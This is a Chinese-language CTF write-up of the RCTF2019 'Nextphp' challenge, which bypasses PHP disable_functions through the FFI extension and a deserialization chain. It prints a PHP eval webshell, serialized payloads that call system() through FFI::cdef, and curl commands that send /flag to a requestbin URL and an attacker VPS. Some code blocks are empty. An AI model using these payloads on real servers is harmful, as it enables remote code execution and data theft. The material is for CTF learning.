[RCTF2019]Nextphp
1 |
|
非常简洁的页面:包禁了好多函数的直接phpinfo():(禁用的函数)
1 | set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl |
肯定是无法进行直接的rce了:
看向php版本:
1 | PHP Version 7.4.0-dev |
发现指针里面有个FFI support———–enabled(开启)
上网搜索FFi:
FFI:
FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。
优点:
没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了
FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源
缺点:
在PHP里,FFI允许加载动态链接库 (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。
因此,也可用来 bypass disable_function 。挺有意思
so文件是linux下向当于windows下的dll文件,linux下的程序函数库,即编译好的可以供 其他程序使用的源码和数据,即动态链接库
1 | 1.so后缀就是动态链接库的文件名。 |
*libc.so.6 是默认的动态链接函数库*
启用FFI需要:
- 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ; - PHP-FFI要求libffi-3以上 - ffi.enable=true
Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )1
2
3
4
5
6
7
基本上FFI就是在预处理函数,可以使用c数据库里的函数
题解:
先是可以用print_r(scandir('.'));看看有什么函数发现1
2
3
4
5
6
7
有个preload.php
那么就可以写个🐎蚁剑下载源码:
```php
file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>');
preload.php:
1 |
|
很明显是php反序列化(老多魔术方法可以调用了):
run函数代码:
1 | $this->data['ret'] = $this->data['func']($this->data['arg']); |
在 preload.php 里引进了 php7.4以上的两个魔术方法 __serialize() 和 __unserialize()
php7.4版本的说明:
1 | PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。 |
构造 执行流程为:
1 | 调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组 --> 执行 $this->run(), 生成FFI对象 给了 $this->data['ret'] --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令 |
注:我们在写exp的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize()和
因为 __serialize()存在的话,serialize构造好的类实例对象就不会调用serialize(). $this->data就不会再进行一下serialize再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意data数组序列化数据。
exp如下:
1 | <?php |
payload1(数据 外带)(推荐网站:https://webhook.site/):
1 | ?a=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,%27curl%20http://http.requestbin.buuoj.cn/1f4vjz01?a=`cat%20/flag`%27)); |
payload2(这个是上面的解释的续版)(也算是数据外带的吧):
1 | /?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port'); |
参考链接:https://ctf.ieki.xyz/buuoj/rctf-2019.html
https://blog.csdn.net/weixin_63231007/article/details/129105223fei